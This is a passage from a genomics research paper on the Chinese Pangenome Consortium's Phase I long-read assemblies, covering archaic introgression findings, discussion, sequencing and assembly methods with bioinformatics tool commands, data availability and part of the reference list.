AISs (>40 samples) affected the following genes (annotated with GeneCards Suite39 online): KRT6C, KRT6A, KRT6B and KRT75, which are all keratin gene family members; CACNA2D2, CYB561D2, EEF1A2 and KCNQ2, which are associated with developmental and epileptic encephalopathy; GNAT1, which functions as a signal transducer in normal rod photoreceptor (RHO)-mediated light perception by the retina, and is associated with autosomal recessive congenital stationary night blindness40; and USH2A, which is involved in cell development and maintenance of the inner ear and retina, and is associated with Usher syndrome and retinitis pigmentosa in the Chinese population41. The CPC assemblies are enriched with archaic hominin sequences compared with the African samples in the HPRC dataset (Supplementary Fig. 20). We further compared the AISs detected in the CPC samples and those in the American samples that constitute the largest continental group in the HPRC dataset second only to the African group. We found that the proportion of the Altai Neanderthal-like AISs was higher in the Americans (76.44 ± 15.61 Mb) than in the CPC East Asians (74.39 ± 4.48 Mb) on both the individual and population levels given comparable sample size (525.81 Mb for American, and 434.54 ± 8.42 Mb for East Asian). The Denisovan-like AIS proportion was higher in the East Asian genome (16.92 Mb, covering 0.59% of the American genome, and 2.10 Mb ± 0.71 Mb (0.07%) for each sample; 26.04 ± 1.34 Mb, covering 0.90% on average of the East Asian genome, and 2.77 Mb ± 0.70 Mb (0.10%) for each sample), indicating greater AIS diversity inherited from the Denisovan in the East Asian genomes than in the American genomes (Supplementary Fig. 20). In addition, the archaic hominin introgression in East Asians was largely underrepresented by the CHS samples in HPRC. Each population in the CPC assembly on average added 15.45 Mb of AISs (14.16 Mb of Altai Neanderthal-like sequences and 1.29 Mb of Denisovan-like sequences) to the archaic sequence pool of the present-day East Asians (Supplementary Fig. 21), and each CPC genome contributed 9.56 Mb of archaic-like sequences. In particular, the Turkic-speaking populations (for example, Uyghur, Kazakh and Kyrgyz) showed the least Altai Neanderthal-like AIS sharing with other East Asian populations, possibly owing to the European genetic ancestry in these populations (Extended Data Fig. 10a); some southern Chinese linguistic groups (for example, Tai–Kadai and Austro-Asiatic) added to the Denisovan-like AIS diversity at the highest level (Extended Data Fig. 10b). We further investigated genes affected by the CPC-specific AISs and their potential functions. We found 1,575 AISs spanning 72.41 Mb in the CPC assembly that were absent in the HPRC assembly. These CPC-specific AISs encompassed 3,629 genes in total. We highlighted 1,211 genes affected by potentially functional AISs located in the coding sequence regions (Supplementary Table 21), which had roles in xenobiotic glucuronidation (GO:0052697, OR = 77.51, BH-adjusted P = 1.22 × 10−6), flavonoid metabolic processes (GO:0009812, OR = 28.73, BH-adjusted P = 3.98 × 10−6) and ascorbate and aldarate metabolism (hsa00053, OR = 8.66, BH-adjusted P = 8.88 × 10−4; Supplementary Fig. 22 and Supplementary Table 22). According to the GeneAnalytics42 annotation, these genes are associated with multiple diseases (for example, colorectal cancer, breast cancer, schizophrenia and nervous system disease) (Supplementary Table 23). We found that a CPC-specific AIS affecting BOD1 was carried by 71 (61.2%) haploid assemblies. This gene was reported to be involved in cerebellar motor dysfunction43, and is crucial for human cognitive function44. Another AIS-affected gene, IL17RA (nhaplotype = 52; 44.8%), has a pathogenic role in many inflammatory and autoimmune diseases. In particular, polymorphism at this gene is related to atopic dermatitis, autoimmune type 1 diabetes and asthma in East Asian populations45. TWIST2 (nhaplotype = 41, 35.3%) and CHFR (nhaplotype = 34; 29.3%) have critical roles in cancer metastasis, and are commonly used biomarkers for various cancers46. All of the population-specific AISs >150 kb in size are listed in Supplementary Table 24, and almost all were present only in one single individual (nhaplotype = 1). The Uyghur population contributed the largest proportion (0.51%, 14.68 Mb) of the CPC-specific archaic introgression among all of the ethnicities studied (Supplementary Table 25). One notable example of the Uyghur-specific AIS affects QPCT, which codes for glutamyl peptidyltransferase. This gene is associated with schizophrenia in both European and Han Chinese populations47, and may also affect bone mineral density in adult women, resulting in susceptibility to osteoporosis48. Moreover, we found a well-recognized oncogene, JUN, affected by archaic introgression in the Zhuang population, which could be responsible for the present-day differential prevalence and association with cancers for the JUN variants. We found that 6.68% of the AISs identified in the CPC assemblies were attributed to genes affected by the SVs, and 17.68% of the SVs were affected by archaic introgression (Supplementary Table 26). In addition, 0.10% of these AISs were detected in 141 CNV genes in the CPC assemblies (Supplementary Table 4); in particular, 0.09% were detected in 135 CPC-specific CNV genes. These results imply that the CPC data hold great potential to advance our understanding of human evolutionary history in Asia. Discussion In this study, we sequenced 58 CPC core samples to an average depth of 30.65× using PacBio HiFi long-read sequencing. With an average contiguity N50 > 35.63 Mb and an average total size of 3.01 Gb, the 116 high-quality and haplotype-phased de novo assemblies have good coverage of the Telomere-to-Telomere Consortium haploid assembly T2T-CHM13. Our analysis showed that the CPC assemblies largely matched or exceeded the continuity and base-level accuracy of the current reference human genome sequence (GRCh38). The CPC core assemblies also have good coverage of GRCh38, and added 189 million base pairs of euchromatic polymorphic sequences and 1,367 protein-coding gene duplications to GRCh38. The CPC Phase I data thus serve as a comprehensive pangenome reference for Chinese populations and are expected to better capture genomic diversity in populations of Asian ancestry. Our further analysis confirmed the necessity of high-quality population-specific assemblies for genetic and medical applications2. Indeed, we identified variations showing considerable differentiation among different ethnic groups, probably resulting from divergent ancestral backgrounds. Our results also suggest that the use of population-specific references in sequence alignment improved the alignment quality. Compared with the HPRC graph reference, using the CPC graph reference improved the perfect alignment rate of short reads in East Asian samples. The CPC pangenome reference undoubtedly provides a more comprehensive understanding of genomic variation in Asian populations, particularly those of Chinese ancestry. For example, about 18.4% of the small variants and 17.1% of the SVs identified were specific to the CPC assemblies compared with the HPRC data, although most of the CPC-specific SVs were located at the centromeric and telomeric regions of chromosomes. More than half of the variants showed an extremely low frequency, such as singletons or doubletons, and they were specifically identified in either CPC or HPRC data. Therefore, our results indicated the necessity of a more comprehensive sampling effort for both CPC and HPRC. Meanwhile, we have also generated a joint CPC–HPRC pangenome reference with both CPC and HPRC assemblies so that it can be more widely applied to various enterprises. The CPC data also demonstrated a remarkable increase in the discovery of novel sequences when individuals were included from genetically divergent ethnic groups. A notable example is the α-globin gene cluster, in which we identified a 20-kb deletion that has been widely reported as a cause of anaemia specifically in the southern Chinese and Southeast Asian populations, and a 10-kb duplication specific to CPC assemblies. Therefore, our analyses demonstrated great potential in discovering novel or missing sequences in underrepresented Asian populations, especially minority ethnic groups. Although not surprising, we identified a substantial proportion of sequences of archaic origins. In particular, every ethnic group contributed on average about 15 Mb and every sample contributed about 9.5 Mb of sequences of archaic ancestry, indicating the potential for discovering novel archaic sequences that were missing in previous studies. Moreover, the novel archaic sequences identified in the CPC assemblies were largely underrepresented in the HPRC data, which again suggests the necessity of including more diverse samples of Asian ancestry in further efforts of the HPRC. An interesting observation was that the least Altai Neanderthal-like sequences were shared between the Turkic-speaking populations from northwestern China (for example, Uyghur, Kazakh and Kyrgyz) and other East Asian populations, probably owing to the genetic admixture with west Eurasian populations, which diluted the Altai Neanderthal-like ancestry in northwestern Chinese populations. We showed previously that individuals of Chinese or Asian ancestry harbour a great genomic diversity6. China is populated with multiple ethnic groups with high cultural and language diversities, including 55 officially recognized minority ethnic groups in addition to the Han Chinese majority and a considerable number of unrecognized ethnic groups. As the first effort (Phase I) of the CPC, the current pangenome reference constructed by the CPC was based on 58 CPC core samples representing 36 of the 55 minority ethnic groups and 8 linguistic groups. In its plans, the CPC aims to produce high-quality, phased, chromosome-level haplotype sequences of 500 individuals, which will cover the 56 ethnic groups as officially defined as well as a number of unidentified ethnic groups that have never been well covered by any previous work, such as Sherpa49, Dolan, Keriyan, Deng and Lop Nur. The fully phased T2T diploid genomes will represent a paradigm shift and the new standard in population-level genomic studies7. In parallel with the effort to document genomic diversity, considerable efforts have been invested in comprehensively annotating the elements in the CPC genomes that confer function, such as genes, control elements and transcript isoforms. Annotating the CPC genomes resulted in discovering genes that confer essential functions and underlying natural selection, which are probably associated with phenotypic diversity of disease susceptibility specific to Asian populations. In particular, a considerable proportion of the CPC sequences are of archaic origins and enriched in genes related to keratinization, inflammation and autoimmune diseases. Moreover, the novel sequences specifically discovered in the CPC pangenome encompassing 6,426 protein-coding genes confer phenotypic diversity or disease susceptibility, including immunological functions. Taken together, the CPC Phase I data have already demonstrated a great potential to shed new light on human evolution and recover missing heritability in complex trait and disease mapping. We expect the CPC, as an important part of the global force of human genomics, to make a considerable contribution to building high-quality pangenome references and applying them for various basic and clinical research projects. Methods Populations and samples For Phase I of the CPC project, we selected 68 samples from 731 individuals with genomes deep-sequenced using next-generation sequencing. Following a previous study5, we applied a procedure to quantitatively evaluate the genetic diversity coverage based on principal component analysis results. We selected individuals using a statistic Dd to measure the representation of population samples, and found that the selected samples are located close to the centre of the cluster of each population on the plot of the top two principal components. In addition, we strived to maintain the balance of sex ratio in the sample selection of each population. After quality control of the HiFi data, eventually, 58 samples were retained for all of the downstream analyses in this study. Ethics and inclusion The CPC is a joint effort of scientists of various minority ethnic groups who represent underrepresented populations and minority groups. From the beginning, the CPC has involved many local scientists of various minority ethnic groups. The design and execution of the CPC have included inputs from local scientists from the beginning and throughout the entire process. As our co-authors, they have substantially contributed research work, they are well educated and aware of the ethical issues, and they are capable of explaining explicitly the results to their local minority communities. Informed consent was obtained from all individual participants included in the study. The personal identifiers of all samples, if any existed, were stripped off before sequencing and analysis. All procedures were carried out in accordance with the ethical standards of the Responsible Committee on Human Experimentation and the 1964 Helsinki Declaration, its later amendments (2000), or comparable ethical standards. The research content and procedures carried out in studies involving human participants were approved by the Biomedical Research Ethics Committee of Shanghai Institutes for Biological Sciences (number ER-SIBS-261408), the Biomedical Research Ethics Committee of Kunming Institute of Zoology, Chinese Academy of Sciences (number SMKX-20180715-154) and the Biomedical Research Ethics Committee of The First Affiliated Hospital of Xi’an Jiaotong University (number XJTU1AF2021LSK-051). DNA sample and library preparation Genomic DNA was extracted from peripheral blood samples and Epstein–Barr virus-immortalized B lymphoblastoid cell lines using the optimized cetyl trimethyl ammonium bromide-based protocol followed by purification with QIAGEN Genomic kit (catalogue number 13343, QIAGEN) for regular sequencing, according to the standard operating procedure provided by the manufacturer (Supplementary Information). These lymphoblastoid cell lines are limited in their growth to minimize genetic changes that may occur during extended cell culture. DNA degradation and contamination were monitored on 1% agarose gels. DNA purity was checked using the NanoPhotometer spectrophotometer (IMPLEN). DNA concentration was measured using the Qubit DNA Assay Kit in a Qubit 2.0 fluorometer (LifeTechnologies). The library of 15 kb was constructed using a SMRTbell Express Template Prep Kit 2.0 (Pacific Biosciences). The construction includes DNA shearing, damage repair, end repair, hairpin adapter ligation, size selection and purification of the library (Supplementary Information). Hi-C sequencing To anchor hybrid scaffolds onto the chromosome, genomic DNA was extracted for the Hi-C library from blood. We followed the standard protocol described previously50,51 with certain modifications. In brief, we constructed the Hi-C library and obtained sequencing data through the Illumina Novaseq-6000 platform. The ligated DNA was sheared into 300–500-bp fragments, and then was blunt-end-repaired and A-tailed, followed by purification through biotin–streptavidin-mediated pulldown. Finally, the Hi-C libraries were quantified and sequenced using the Illumina Novaseq-6000 platform. NGS A total amount of 1.5 µg DNA per sample was used as input material for the DNA sample preparations. Sequencing libraries were generated using the Truseq Nano DNA HT Sample Preparation Kit (Illumina) following the manufacturer’s recommendations and index codes were added to attribute sequences to each sample. In brief, the DNA sample was fragmented by sonication to a size of 350 bp, and then DNA fragments were end polished, A-tailed and ligated with the full-length adapter for Illumina sequencing with further PCR amplification. Finally, PCR products were purified (AMPure XP system), and libraries were analysed for size distribution by an Agilent 2100 Bioanalyzer and quantified using real-time PCR. These libraries constructed above were sequenced by the Illumina NovaSeq-6000 platform and 150-bp paired-end reads were generated with an insert size of around 350 bp. HiFi sequencing SMRTbell target size libraries were constructed for sequencing according to PacBio’s standard protocol (Pacific Biosciences) using 15-kb preparation solutions. In brief, a total amount of 15 µg DNA per sample was used for the DNA library preparations. The genomic DNA sample was sheared by g-TUBEs (Covaris) according to the expected size of the fragments for the library. Single-strand overhangs were then removed, and DNA fragments were damage-repaired, end-repaired and A-tailed. Then the fragments were ligated with the hairpin adapter for PacBio sequencing. Then the library was treated by nuclease with SMRTbell Enzyme Cleanup Kit and purified by AMPure PB beads. Target fragments were screened by BluePippin (Sage Science). The SMRTbell library was then purified by AMPure PB beads, and an Agilent 2100 Bioanalyzer (Agilent Technologies) was used to detect the size of library fragments. The library was sequenced using a single 8M SMRT Cell on the PacBio Sequel II or Sequel IIe platform (Pacific Biosciences) with Sequencing Primer V2 and Sequel II Binding Kit 2.0 in Grandomics. The PacBio SMRT-Analysis package (https://www.pacb.com) was used for the quality control of the raw polymerase reads (Supplementary Information). Oxford Nanopore Technologies sequencing A total amount of 3–4 µg DNA per sample was used as input material for the Oxford Nanopore Technologies library preparations. After the sample was qualified, size selection (>50,000 and >100,000) of long DNA fragments was carried out using the PippinHT system (Sage Science). Next, the ends of DNA fragments were repaired, and A-ligation reactions were conducted with NEBNext Ultra II End Repair/dA-tailing Kit (catalogue number E7546). The adapter in SQK-LSK109 (Oxford Nanopore Technologies) was used for further ligation reaction and the DNA library was measured by Qubit 4.0 Fluorometer (Invitrogen). Genome assembly and quality control A total of 68 samples were sequenced on 2–5 SMRT Cells. The obtained subreads are converted into HiFi reads by ccs v6.3.0 in PacBio tools with --hifi-kinetics --min-passes 3 --min-length 50. At the individual level, we combined HiFi reads from multiple cells and applied Hifiasm v0.16.1 (ref. 52) to carry out both the primary assembly and diploid assembly for 68 PacBio HiFi samples (Supplementary Information). We used QUAST v5.2.0 (ref. 53) to assess the assembly quality of 68 primary assemblies and 136 haplotype assemblies (Supplementary Information). After quality control, we removed three samples with primary assembly N50 < 20 Mb or contig number ≥ 2,000, and seven samples with two haplotype assembly N50 < 10 Mb or contig number ≥ 2,000. Finally, 58 samples with 116 high-quality assemblies were retained for subsequent analyses. Assembly polishing and assessment We first used Inspector v1.2 (ref. 54) to evaluate the assembly errors of 116 assemblies, which were recorded as bed files in the output directory of Inspector. We then carried out assembly polishing based on the evaluation results of assembly errors of Inspector using the following command: inspector-correct.py -i $asm/ --datatype pacbio-hifi -o $asm.corrected/ --skip_structural -t 64. We next applied Inspector to assesses the misassemblies before and after correction to determine whether the assembly polishing improved the assembly quality. The assembly quality value was estimated using Inspector on the basis of the calculation of assembly errors in each assembled haplotype. The assessment command of assembly errors using Inspector was as follows: inspector.py -c $asm.fa -r $sample.ccs.fastq.gz -o $asm/ --datatype hifi -t 64. We also applied QUAST to assess the contiguity, completeness and duplication ratio for each corrected assembly. The assessment command of QUAST was as follows: quast-lg.py $asm.fa -r $reference.fa -g $reference.gff.gz -o $asm/ --large --est-ref-size 3100000000 --no-icarus -t 64. Variant identification from the phased assembly The obtained HiFi reads were aligned to the T2T-CHM13 v2.0 reference by minimap2 using the preset parameters -ax map-hifi, and then sorted by samtools sort. The quality of reads at the alignment level was evaluated by samtools stats. The BAM file was used for the identification of conventional and complex structural variations (Supplementary Information). We also applied minimap2 v2.24 (ref. 55) to align each assembly to the T2T-CHM13 v2.0 reference using the following command: minimap2 -x $asm.fa $reference.fa -m 10000 -z 10000, 50 -r 50000 --end-bonus=100 --secondary=no -a -t 20 -eqx -Y -O 5,56 -E 4,1 -B 5. We used dna-brnn v0.1 (ref. 56) to identify highly repetitive sequences of each CPC assembly. We then used Phased Assembly Variant (PAV) caller v1.2 (ref. 17), which can prune duplicated alignments caused by minimap2, to detect small variants and SVs in each haplotype on the basis of the output CIGAR sequence from minimap2. We specified the reference genome (T2T-CHM13), two-phased assemblies of each sample and a configuration file as inputs to launch PAV. In our PAV pipeline, SVs within 200 bp with 50% overlap between two assemblies of each sample were merged. To identify putative novel sequences of CPC samples relative to the T2T-CHM13 reference, we first applied SV-pop v3.0 (ref. 17) to merge SVs of core CPC samples using the sampleset merge and the size-reciprocal-overlap mode with nr::szro(0.8,4):match(0.8) parameters. Under this condition, insertions with at least 80% overlap were merged when the distance between insertions was less than four times the insertion length. We defined the insertions as the novel sequences larger than 1 kb relative to T2T-CHM13 in each SV calling result. We applied primatR v0.1.0 (https://github.com/daewoooo/primatR) to detect the hotspots of novel sequences using the function hotspotter and set the parameters bw = 20,000 and num.trial = 1,000. Identification of gene duplication We used liftoff v1.6.3 (ref. 57) to detect duplicated genes relative to GRCh38 references in each assembly. GENCODE v38 (ref. 58) annotation was used to build the annotation database for liftoff. Protein-coding genes with extra gene copies annotated by liftoff were identified as duplicated genes for each assembly. We ran liftoff with an identity threshold of at least 90% using the parameter -sc 0.9, and the command was as follows: liftoff -p 64 -sc 0.9 -copies -db GENCODE_V38.db -u $asm.unmapped -o asm.gff3 -polish asm.fa GRCh38.fa. We identified gene duplications with the field extra_copy_number in the output gff3 file of liftoff. Pangenome graph construction We applied the Minigraph-Cactus pipeline59 to construct the CPC pangenome variation graph in two versions: GRCh38 based and CHM13 based. We first constructed the graph with only SVs larger than 50 bp using Minigraph (v0.19)60. Starting from the reference assembly, either GRCh38 or CHM13, as the initial graph, the remaining reference genome and 122 assemblies were sequentially mapped to the graph. We used the Minigraph-Cactus pipeline to add SNP-level variants to the graph. First, centromere and telomere regions were identified and softmasked with dna-brnn56 to exclude the influence of highly repetitive sequence on subsequent analysis. The assemblies were remapped to Minigraph to produce exact alignments between the contigs of the input assembly and Minigraph node sequences. Quality control was applied in this step by excluding all softmasked sequences longer than 100 kb and all mappings with MAPQ < 5. Next, we split the graph and assigned the contigs into different chromosomes, and applied Cactus v2.1.1 base alignment61 separately, and the output HAL62 files were converted to the vg format with hal2vg (https://github.com/ComparativeGenomicsToolkit/hal2vg). Paths larger than 10 kb that did not align to the underlying graph were removed, and GFAffix (https://github.com/marschall-lab/GFAffix) was used to normalize the graph. Finally, the graphs of chromosomes were combined into a whole-genome graph, indexed and exported to VCF with the vg toolkit v1.42 (https://github.com/vgteam/vg), and allele filtering was also applied for short-read mapping by removing all nodes traversed by fewer than 12 haplotype paths (minimum AF = 10%) using the command: vg clip -d 12 -m 10000. Identification and visualization of CPC-specific variants We constructed a new Minigraph-Cactus pangenome graph including all 116 assemblies in CPC and 94 assemblies in HPRC with T2T-CHM13.v2 as the reference genome, and the details were consistent with descriptions above. We grouped the alternative alleles in multiallelic SV sites by their length and split them into biallelic records using bcftools norm -m -any. Then we classified the SVs that were found only in the CPC and HPRC assemblies as CPC- or HPRC-specific variants, respectively. We applied RIdeogram v0.2.2 (ref. 63) to visualize the SV distribution and enrichment significance on chromosomes. We extracted the subgraphs of SVs with gfabase v0.6.0 (https://github.com/mlin/gfabase) and then visualized the subgraphs with bandage v0.9.0 (ref. 64). Gene positions in the subgraphs were determined by aligning the sequences of genes to graph with GraphAligner v1.0.16 (ref. 65). Linear structural visualization of all structural haplotypes was applied with the R package gggenes v0.3.1 (https://github.com/wilkox/gggenes). Evaluation of the alignment quality of short reads using the CPC reference To simplify the CPC graph reference, we carried out gradient filtering by removing all nodes traversed by fewer than 6, 9, 12, 15 and 20 haplotype paths using vg clip -d $N -m 10000. We next used vg stats -zNElL CPC.p1.$N.xg > CPC.p1.$N.stats to estimate the number of nodes and edges in the graph and the total length of the sequence. In addition, we estimated the complexity of the graph by calculating the ratio of edges to nodes (edges/nodes). We selected ten samples from five East Asian populations of the 1000 Genome Project according to the standard of one male and one female sample per population, and two samples from the African (YRI) population. Fastq files were downloaded from the European Nucleotide Archive (study access: PRJEB31736). We first aligned the paired-end reads of each sample to the graph genomes of the CPC reference with different filter parameters and HPRC by vg giraffe -g CPC.P1.gg -H CPC.P1.gbwt -m CPC.P1.min -d CPC.P1.dist -x CPC.P1.xg -t 128 -f samples1_combined_R1.fastq.gz -f samples1_combined_R2.fastq.gz > sample1.gam. The statistics of the GAM file were obtained through vg stats -a sample1.gam > sample1.qc. In addition, we also converted the GAM file to linear space (BAM, CHM13) using vg surject -i -x CPC.P1.xg -P -t 128 -b sample1.gam > sample1.bam. The statistics of the BAM files were obtained using samtools stats -@ 16 sample1.bam > sample1.bam.stats. Reporting summary Further information on research design is available in the Nature Portfolio Reporting Summary linked to this article. Data availability The release of the CPC Phase I data by this work is permitted by The Ministry of Science and Technology of the People’s Republic of China (permission number 2022BAT2392) at the National Genomics Data Center (https://ngdc.cncb.ac.cn) under the BioProject PRJCA011422. The pangenome references built on the basis of the CPC core samples and combined with the HPRC samples are freely available at both the CPC website (https://pog.fudan.edu.cn/cpc/#/data) and GitHub (https://github.com/Shuhua-Group/Chinese-Pangenome-Consortium-Phase-I). Code availability The code to reproduce the pangenome from this work can be found at GitHub (https://github.com/Shuhua-Group/Chinese-Pangenome-Consortium-Phase-I). Relevant commands used in other analyses can be found in the Methods or Supplementary Information. References Liao, W.-W. et al. A draft human pangenome reference. Preprint at https://doi.org/10.1101/2022.07.09.499321 (2022). Lou, H. et al. Haplotype-resolved de novo assembly of a Tujia genome suggests the necessity for high-quality population-specific genome references. Cell Syst. 13, 321–333 (2022).Article CAS PubMed Google Scholar  Wang, T. et al. The Human Pangenome Project: a global resource to map genomic diversity. Nature 604, 437–446 (2022).PDF opens in a new tabArticle ADS CAS PubMed PubMed Central Google Scholar  Sherman, R. M. & Salzberg, S. L. Pan-genomics in the human genome era. Nat. Rev. Genet. 21, 243–254 (2020).PDF opens in a new tabArticle CAS PubMed PubMed Central Google Scholar  Lu, D. & Xu, S. Principal component analysis reveals the 1000 Genomes Project does not sufficiently cover the human genetic diversity in Asia. Front. Genet. 4, 127 (2013).Article PubMed PubMed Central Google Scholar  Hugo Pan-Asian SNP Consortium et al. Mapping human genetic diversity in Asia. Science 326, 1541–1545 (2009).Article Google Scholar  Miga, K. H. & Wang, T. The need for a human pangenome reference sequence. Annu. Rev. Genomics Hum. Genet. 22, 81–102 (2021).Article PubMed PubMed Central Google Scholar  Bentley, A. R., Callier, S. L. & Rotimi, C. N. Evaluating the promise of inclusion of African ancestry populations in genomics. NPJ Genom. Med. 5, 5 (2020).PDF opens in a new tabArticle PubMed PubMed Central Google Scholar  Nurk, S. et al. The complete sequence of a human genome. Science 376, 44–53 (2022).Article ADS CAS PubMed PubMed Central Google Scholar  Ouzhuluobu, et al. De novo assembly of a Tibetan genome and identification of novel structural variants associated with high-altitude adaptation. Natl Sci. Rev. 7, 391–402 (2020).PDF opens in a new tabArticle CAS Google Scholar  Shi, L. et al. Long-read sequencing and de novo assembly of a Chinese genome. Nat. Commun. 7, 12065 (2016).PDF opens in a new tabArticle ADS CAS PubMed PubMed Central Google Scholar  Du, Z. et al. Whole genome analyses of Chinese population and de novo assembly of a northern Han genome. Genomics Proteomics Bioinformatics 17, 229–247 (2019).Article PubMed PubMed Central Google Scholar  Chao, K. H., Zimin, A. V., Pertea, M. & Salzberg, S. L. The first gapless, reference-quality, fully annotated genome from a Southern Han Chinese individual. G3 13, https://doi.org/10.1093/g3journal/jkac321 (2023). Yang, X. et al. Haplotype-resolved Chinese male genome assembly based on high-fidelity sequencing. Fundam. Res. 2, 946–953 (2022).Article CAS Google Scholar  Duan, Z. et al. HUPAN: a pan-genome analysis pipeline for human genomes. Genome Biol. 20, 149 (2019).PDF opens in a new tabArticle PubMed PubMed Central Google Scholar  Li, Q. et al. Building a Chinese pan-genome of 486 individuals. Commun. Biol. 4, 1016 (2021).PDF opens in a new tabArticle CAS PubMed PubMed Central Google Scholar  Ebert, P. et al. Haplotype-resolved diverse human genomes and integrated analysis of structural variation. Science 372, eabf7117 (2021).Article CAS PubMed PubMed Central Google Scholar  Lin, J. et al. SVision: a deep learning approach to resolve complex structural variants. Nat. Methods https://doi.org/10.1038/s41592-022-01609-w (2022).PDF opens in a new tabArticle PubMed PubMed Central Google Scholar  Audano, P. A. et al. Characterizing the major structural variant alleles of the human genome. Cell 176, 663–675 (2019).Article CAS PubMed PubMed Central Google Scholar  Ryan, D. P. et al. Mutations in potassium channel Kir2.6 cause susceptibility to thyrotoxic hypokalemic periodic paralysis. Cell 140, 88–98 (2010).Article CAS PubMed PubMed Central Google Scholar  Kung, A. W. Clinical review: thyrotoxic periodic paralysis: a diagnostic challenge. J. Clin. Endocrinol. Metab. 91, 2490–2495 (2006).PDF opens in a new tabArticle CAS PubMed Google Scholar  Noso, S. et al. Contribution of Asian haplotype of KCNJ18 to susceptibility to and ethnic differences in thyrotoxic periodic paralysis. J. Clin. Endocrinol. Metab. 104, 6338–6344 (2019).PDF opens in a new tabArticle PubMed Google Scholar  Pichon, B. et al. Thyrotoxic periodic paralysis in Caucasian patients: a diagnostic challenge. Eur. J. Intern. Med. 16, 372–374 (2005).Article PubMed Google Scholar  Cong, P. K. et al. Genomic analyses of 10,376 individuals in the Westlake BioBank for Chinese (WBBC) pilot project. Nat. Commun. 13, 2939 (2022).PDF opens in a new tabArticle ADS CAS PubMed PubMed Central Google Scholar  Bekpen, C., Xie, C., Nebel, A. & Tautz, D. Involvement of SPATA31 copy number variable genes in human lifespan. Aging 10, 674–688 (2018).Article CAS PubMed PubMed Central Google Scholar  Meloche, M. et al. CYP2D6 polymorphism and its impact on the clinical response to metoprolol: a systematic review and meta-analysis. Br. J. Clin. Pharmacol. 86, 1015–1033 (2020).PDF opens in a new tabArticle CAS PubMed PubMed Central Google Scholar  Goldmuntz, E. et al. CFC1 mutations in patients with transposition of the great arteries and double-outlet right ventricle. Am. J. Hum. Genet. 70, 776–780 (2002).Article CAS PubMed PubMed Central Google Scholar  Wang, B. et al. CFC1 mutations in Chinese children with congenital heart disease. Int. J. Cardiol. 146, 86–88 (2011).Article PubMed Google Scholar  Ogo, O. A. et al. The zinc finger protein ZNF658 regulates the transcription of genes involved in zinc homeostasis and affects ribosome biogenesis through the zinc transcriptional regulatory element. Mol. Cell. Biol. 35, 977–987 (2015).Article CAS PubMed PubMed Central Google Scholar  Jarvis, E. D. et al. Semi-automated assembly of high-quality diploid human reference genomes. Nature 611, 519–531 (2022).PDF opens in a new tabArticle ADS CAS PubMed PubMed Central Google Scholar  Karczewski, K. J. et al. The mutational constraint spectrum quantified from variation in 141,456 humans. Nature 581, 434–443 (2020).PDF opens in a new tabArticle ADS CAS PubMed PubMed Central Google Scholar  O’Leary, N. A. et al. Reference sequence (RefSeq) database at NCBI: current status, taxonomic expansion, and functional annotation. Nucleic Acids Res. 44, D733–D745 (2016).PDF opens in a new tabArticle PubMed Google Scholar  Fucharoen, S. & Winichagoon, P. Thalassemia in SouthEast Asia: problems and strategy for prevention and control. Southeast Asian J. Trop. Med. Public Health 23, 647–655 (1992).CAS PubMed Google Scholar  Qiu, Q.-W. et al. Evidence of recent natural selection on the Southeast Asian deletion (-SEA) causing α-thalassemia in South China. BMC Evol. Biol. 13, 63 (2013).PDF opens in a new tabArticle CAS PubMed PubMed Central Google Scholar  Prior, I. A., Hood, F. E. & Hartley, J. L. The frequency of Ras mutations in cancer. Cancer Res. 80, 2969–2974 (2020).Article CAS PubMed PubMed Central Google Scholar  Liu, Y. et al. Epidemiology of urolithiasis in Asia. Asian J. Urol. 5, 205–214 (2018).Article PubMed PubMed Central Google Scholar  Zhang, R., Yuan, K. & Xu, S. Detecting archaic introgression and modeling multiple-wave admixture with ArchaicSeeker 2.0. STAR Protoc. 3, 101314 (2022).Article CAS PubMed PubMed Central Google Scholar  Yuan, K. et al. Refining models of archaic admixture in Eurasia with ArchaicSeeker 2.0. Nat. Commun. 12, 6232 (2021).PDF opens in a new tabArticle ADS CAS PubMed PubMed Central Google Scholar  Safran, M. et al. in Practical Guide to Life Science Databases (eds Abugessaisa, I. & Kasukawa, T.) 27–56 (Springer, 2022). Naeem, M. A. et al. GNAT1 associated with autosomal recessive congenital stationary night blindness. Invest. Ophthalmol. Vis. Sci. 53, 1353–1361 (2012).Article CAS PubMed PubMed Central Google Scholar  Iannaccone, A. et al. Auditory and olfactory findings in patients with USH2A-related retinal degeneration—findings at baseline from the rate of progression in USH2A-related retinal degeneration natural history study (RUSH2A). Am. J. Med. Genet. A 185, 3717–3727 (2021).PDF opens in a new tabArticle CAS PubMed PubMed Central Google Scholar  Ben-Ari Fuchs, S. et al. GeneAnalytics: an integrative gene set analysis tool for next generation sequencing, RNAseq and microarray data. OMICS 20, 139–151 (2016).Article CAS PubMed PubMed Central Google Scholar  Liu, X. X. et al. BOD1 regulates the cerebellar IV/V lobe-fastigial nucleus circuit associated with motor coordination. Signal Transduct. Target. Ther. 7, 170 (2022).PDF opens in a new tabArticle CAS PubMed PubMed Central Google Scholar  Hamdan, N. et al. A homozygous stop gain mutation in BOD1 gene in a Lebanese patient with syndromic intellectual disability. Clin. Genet. 98, 288–292 (2020).PDF opens in a new tabArticle CAS PubMed Google Scholar  Li, J. et al. Serum IL-17A concentration and a IL17RA single nucleotide polymorphism contribute to the risk of autoimmune type 1 diabetes. Diabetes Metab. Res. Rev. 38, e3547 (2022).PDF opens in a new tabArticle CAS PubMed Google Scholar  Zhao, C. et al. TWIST2: a new candidate tumor suppressor in prostate cancer. Prostate 79, 1647–1657 (2019).PDF opens in a new tabArticle CAS PubMed PubMed Central Google Scholar  Ripke, S. et al. Genome-wide association analysis identifies 13 new risk loci for schizophrenia. Nat. Genet. 45, 1150–1159 (2013).PDF opens in a new tabArticle CAS PubMed PubMed Central Google Scholar  Ezura, Y. et al. Association of multiple nucleotide variations in the pituitary glutaminyl cyclase gene (QPCT) with low radial BMD in adult women. J. Bone Miner. Res. 19, 1296–1301 (2004).Article CAS PubMed Google Scholar  Zhang, C. et al. Differentiated demographic histories and local adaptations between Sherpas and Tibetans. Genome Biol. 18, 115 (2017).PDF opens in a new tabArticle PubMed PubMed Central Google Scholar  Lieberman-Aiden, E. et al. Comprehensive mapping of long-range interactions reveals folding principles of the human genome. Science 326, 289–293 (2009).Article ADS CAS PubMed PubMed Central Google Scholar  Rao, S. S. P. et al. A 3D map of the human genome at kilobase resolution reveals principles of chromatin looping. Cell 159, 1665–1680 (2014).Article CAS PubMed PubMed Central Google Scholar  Cheng, H., Concepcion, G. T., Feng, X., Zhang, H. & Li, H. Haplotype-resolved de novo assembly using phased assembly graphs with hifiasm. Nat. Methods 18, 170–175 (2021).PDF opens in a new tabArticle CAS PubMed 